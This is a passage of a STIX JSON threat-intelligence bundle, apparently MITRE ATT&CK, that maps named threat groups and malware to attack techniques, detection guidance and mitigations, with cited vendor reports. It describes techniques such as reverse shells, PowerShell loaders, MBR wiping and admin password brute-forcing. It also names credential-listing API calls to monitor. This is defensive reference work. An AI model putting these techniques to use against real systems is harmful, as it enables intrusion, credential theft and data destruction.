2020)","relationship_type":"uses","source_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5a49400c-2003-463c-8e6e-97b79f560675","type":"relationship","created":"2019-06-10T16:34:59.315Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Meyers Numbered Panda","description":"Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.","url":"http://www.crowdstrike.com/blog/whois-numbered-panda/"}],"modified":"2020-03-20T19:45:34.796Z","description":"[APT12](https://attack.mitre.org/groups/G0005) has used blogs and WordPress for C2 infrastructure.(Citation: Meyers Numbered Panda)","relationship_type":"uses","source_ref":"intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bdac1391-310e-4511-b272-b80924166723","type":"relationship","created":"2020-06-29T03:41:07.285Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."},{"source_name":"CISA ComRAT Oct 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a","description":"CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020."}],"modified":"2020-12-09T23:26:09.548Z","description":"[ComRAT](https://attack.mitre.org/software/S0126) has used PowerShell to load itself every time a user logs in to the system. [ComRAT](https://attack.mitre.org/software/S0126) can execute PowerShell scripts loaded into memory or from the file system.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020)","relationship_type":"uses","source_ref":"malware--da5880b4-f7da-4869-85f2-e0aba84b8565","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--bf9b3540-c7ab-46bf-b880-b5cabe0d5f79","created":"2022-04-14T16:33:39.899Z","x_mitre_version":"0.1","external_references":[],"x_mitre_deprecated":false,"revoked":false,"description":"Periodically baseline snapshots to identify malicious modifications or additions.","modified":"2022-04-14T16:33:39.899Z","relationship_type":"detects","source_ref":"x-mitre-data-component--8bc66f94-54a9-4be4-bdd1-fe90df643774","target_ref":"attack-pattern--144e007b-e638-431d-a894-45d90c54ab90","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--75d3d753-2276-4409-bf3d-df5e299ceb16","type":"relationship","created":"2022-03-30T14:26:51.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.832Z","description":"Monitor executed commands and arguments that may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--06814fdf-8bf8-43eb-b448-812541b46afa","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","source_name":"Proofpoint Leviathan Oct 2017"},{"url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","source_name":"Proofpoint Leviathan Oct 2017"}],"modified":"2020-03-20T01:49:27.561Z","description":"[Orz](https://attack.mitre.org/software/S0229) can execute shell commands.(Citation: Proofpoint Leviathan Oct 2017) [Orz](https://attack.mitre.org/software/S0229) can execute commands with JavaScript.(Citation: Proofpoint Leviathan Oct 2017)","relationship_type":"uses","source_ref":"malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eda49ac0-3077-4bff-9b30-44f527914e9c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Turla Mosquito Jan 2018","description":"ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.","url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"}],"modified":"2020-03-20T01:55:35.004Z","description":"[Mosquito](https://attack.mitre.org/software/S0256) leverages the CreateProcess() and LoadLibrary() calls to execute files with the .dll and .exe extensions.(Citation: ESET Turla Mosquito Jan 2018)","relationship_type":"uses","source_ref":"malware--92b55426-109f-4d93-899f-1833ce91ff90","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--afa1f53f-abd9-4e57-b4e1-4e161dd34e9b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco DNSMessenger March 2017","description":"Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. 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(2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. 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(2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."}],"modified":"2021-01-22T22:25:04.780Z","description":"[UNC2452](https://attack.mitre.org/groups/G0118) used dynamic DNS resolution to construct and resolve to randomly-generated subdomains for C2.(Citation: Volexity SolarWinds)","relationship_type":"uses","source_ref":"intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b","target_ref":"attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c03f2b4-a752-4d74-9c26-5306132a3329","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto OilRig May 2016","description":"Falcone, R. and Lee, B.. (2016, May 26). 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Retrieved August 26, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html","source_name":"FireEye APT34 July 2019"},{"source_name":"Check Point APT34 April 2021","url":"https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/","description":"Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."}],"modified":"2021-05-05T15:52:16.049Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has run <code>hostname</code> and <code>systeminfo</code> on a victim.(Citation: Palo Alto OilRig May 2016)(Citation: Palo Alto OilRig Oct 2016)(Citation: FireEye APT34 July 2019)(Citation: Check Point APT34 April 2021)\t","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c4e4578-3bb1-4c9a-9dc8-af3b7368ada9","type":"relationship","created":"2021-04-25T15:37:07.362Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf","description":"ESET, et al. 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Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).","modified":"2022-04-20T03:17:11.376Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--8fb2f315-1aca-4cef-ae0d-8105e1f95985","target_ref":"attack-pattern--81033c3b-16a4-46e4-8fed-9b030dd03c4a","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--30930d8a-3c0d-41b2-a226-cccc56599bfd","type":"relationship","created":"2019-04-24T21:06:37.114Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Emotet Dec 2017","url":"https://support.malwarebytes.com/docs/DOC-2295","description":"Smith, A.. (2017, December 22). Protect your network from Emotet Trojan with Malwarebytes Endpoint Security. Retrieved January 17, 2019."}],"modified":"2020-03-16T18:39:02.603Z","description":"[Emotet](https://attack.mitre.org/software/S0367) can brute force a local admin password, then use it to facilitate lateral movement.(Citation: Malwarebytes Emotet Dec 2017)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f22dec38-256c-4f01-897e-bb6329530b60","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor for changes made to windows registry keys or values that may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware.","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a32b030b-32fb-4e94-b741-1122a33a1d74","type":"relationship","created":"2022-03-30T14:26:51.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.837Z","source_ref":"x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b","target_ref":"attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b12cc736-ee7a-4a70-b4f0-2048e218310f","type":"relationship","created":"2021-01-20T18:10:33.804Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro KillDisk 1","url":"https://www.trendmicro.com/en_us/research/18/f/new-killdisk-variant-hits-latin-american-financial-organizations-again.html","description":"Fernando Merces, Byron Gelera, Martin Co. (2018, June 7). KillDisk Variant Hits Latin American Finance Industry. Retrieved January 12, 2021."}],"modified":"2021-05-04T16:56:40.281Z","description":"[KillDisk](https://attack.mitre.org/software/S0607) overwrites the first sector of the Master Boot Record with “0x00”.(Citation: Trend Micro KillDisk 1)","relationship_type":"uses","source_ref":"malware--e221eb77-1502-4129-af1d-fe1ad55e7ec6","target_ref":"attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f8ff17c3-2921-40c2-b4a9-19ee7678397a","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","source_name":"FireEye Know Your Enemy FIN8 Aug 2016"}],"modified":"2019-03-22T20:21:57.791Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) has deleted Registry keys during post compromise cleanup activities.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--61805115-3044-4ed7-91f4-074b2a073e02","type":"relationship","created":"2020-06-15T19:06:44.790Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forbes Dyre May 2017","url":"https://www.forbes.com/sites/thomasbrewster/2017/05/04/dyre-hackers-stealing-millions-from-american-coporates/#601c77842a0a","description":"Brewster, T. (2017, May 4). https://www.forbes.com/sites/thomasbrewster/2017/05/04/dyre-hackers-stealing-millions-from-american-coporates/#601c77842a0a. Retrieved June 15, 2020."},{"source_name":"CrowdStrike Wizard Spider March 2019","url":"https://www.crowdstrike.com/blog/wizard-spider-lunar-spider-shared-proxy-module/","description":"Feeley, B. and Stone-Gross, B. (2019, March 20). New Evidence Proves Ongoing WIZARD SPIDER / LUNAR SPIDER Collaboration. Retrieved June 15, 2020."},{"source_name":"Malwarebytes TrickBot Sep 2019","url":"https://blog.malwarebytes.com/trojans/2019/09/trickbot-adds-new-trick-to-its-arsenal-tampering-with-trusted-texts/","description":"Umawing, J. (2019, September 3). TrickBot adds new trick to its arsenal: tampering with trusted texts. Retrieved June 15, 2020."}],"modified":"2020-06-16T19:04:09.745Z","description":"(Citation: Forbes Dyre May 2017)(Citation: CrowdStrike Wizard Spider March 2019)(Citation: Malwarebytes TrickBot Sep 2019)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--118e5be5-a143-4e2f-b80f-20b580f14210","type":"relationship","created":"2021-01-27T16:43:48.402Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT Sidewinder January 2021","url":"https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf","description":"Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."},{"source_name":"Cyble Sidewinder September 2020","url":"https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/","description":"Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021."}],"modified":"2021-04-06T22:07:33.919Z","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) has sent e-mails with malicious links often crafted for specific targets.(Citation: ATT Sidewinder January 2021)(Citation: Cyble Sidewinder September 2020)","relationship_type":"uses","source_ref":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7415b249-520c-4ec9-aa03-b12b5b22f6be","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html","description":"O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.","source_name":"FireEye APT33 Sept 2017"}],"modified":"2020-03-19T21:48:59.676Z","description":"[TURNEDUP](https://attack.mitre.org/software/S0199) is capable of creating a reverse shell.(Citation: FireEye APT33 Sept 2017)","relationship_type":"uses","source_ref":"malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4086a9d6-5574-48fb-be8d-e8406145e740","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Accenture Hogfish April 2018","description":"Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. 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Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses.(Citation: Powersploit)","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--46944654-fcc1-4f63-9dad-628102376586","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--34c4b497-00e3-415c-8e09-3b73667d9bbe","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT29","description":"FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. 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(2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Retrieved October 4, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[FoggyWeb](https://attack.mitre.org/software/S0661) can be disguised as a Visual Studio file such as `Windows.Data.TimeZones.zh-PH.pri` to evade detection. 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(2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. 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Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control [Web Service](https://attack.mitre.org/techniques/T1102) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567) .","modified":"2022-04-20T12:53:33.425Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e","target_ref":"attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--39084aef-6ba7-4370-832f-b10002b97804","type":"relationship","created":"2020-01-24T14:07:56.483Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-01-24T14:07:56.483Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","target_ref":"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--038ea1f2-fca3-486c-b3d1-76f56347956f","created":"2022-04-06T20:21:52.872Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[KOCTOPUS](https://attack.mitre.org/software/S0669) can delete created registry keys as part of its cleanup procedure.(Citation: MalwareBytes LazyScripter Feb 2021)","modified":"2022-04-06T20:21:52.873Z","relationship_type":"uses","source_ref":"malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5cfcbf60-454a-4673-aa93-9020d04efab7","type":"relationship","created":"2017-05-31T21:33:27.041Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/","description":"Kaspersky Lab's Global Research and Analysis Team. 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Retrieved February 10, 2022."},{"source_name":"Secureworks IRON HEMLOCK Profile","url":"http://www.secureworks.com/research/threat-profiles/iron-hemlock","description":"Secureworks CTU. (n.d.). IRON HEMLOCK. Retrieved February 22, 2022."}],"modified":"2022-02-22T15:06:34.388Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has used encoded PowerShell scripts uploaded to [CozyCar](https://attack.mitre.org/software/S0046) installations to download and install [SeaDuke](https://attack.mitre.org/software/S0053). [APT29](https://attack.mitre.org/groups/G0016) also used PowerShell to create new tasks on remote machines, identify configuration settings, evade defenses, exfiltrate data, and to execute other commands.(Citation: Volexity SolarWinds)(Citation: Microsoft Analyzing Solorigate Dec 2020)(Citation: Symantec Seaduke 2015)(Citation: Mandiant No Easy Breach)(Citation: FireEye APT29 Nov 2018)(Citation: CrowdStrike StellarParticle January 2022)(Citation: ESET T3 Threat Report 2021)(Citation: Secureworks IRON HEMLOCK Profile)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b4174e7a-3b60-4697-a006-84edb81622cd","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf","description":"Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.","source_name":"Lookout Dark Caracal Jan 2018"}],"modified":"2019-07-16T15:35:20.800Z","description":"[Dark Caracal](https://attack.mitre.org/groups/G0070) spearphished victims via Facebook and Whatsapp.(Citation: Lookout Dark Caracal Jan 2018)","relationship_type":"uses","source_ref":"intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12","target_ref":"attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8f6701a2-91cc-449e-98e1-e83bd2f7317c","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html","description":"valsmith. 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Deny execution from user directories such as file download directories and temp directories where able.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b70f1daf-612e-4e6c-b894-310eb436b39f","type":"relationship","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.876Z","description":"Consider monitoring API calls such as <code>CredEnumerateA</code> that may list credentials from the Windows Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft CredEnumerate","description":"Microsoft. (2018, December 5). CredEnumarateA function (wincred.h). Retrieved November 24, 2020.","url":"https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratea"},{"source_name":"Delpy Mimikatz Crendential Manager","description":"Delpy, B. (2017, December 12). howto ~ credential manager saved credentials. Retrieved November 23, 2020.","url":"https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9069440f-f2d0-4548-94a8-6759a31b1425","type":"relationship","created":"2021-11-29T19:16:55.959Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). 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(2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."}],"modified":"2021-04-20T12:38:47.958Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used malware to delete files after they are deployed on a compromised host.(Citation: FBI FLASH APT39 September 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--509a79e0-7ee3-4528-b11a-eefee861e384","type":"relationship","created":"2020-11-09T14:52:45.549Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, 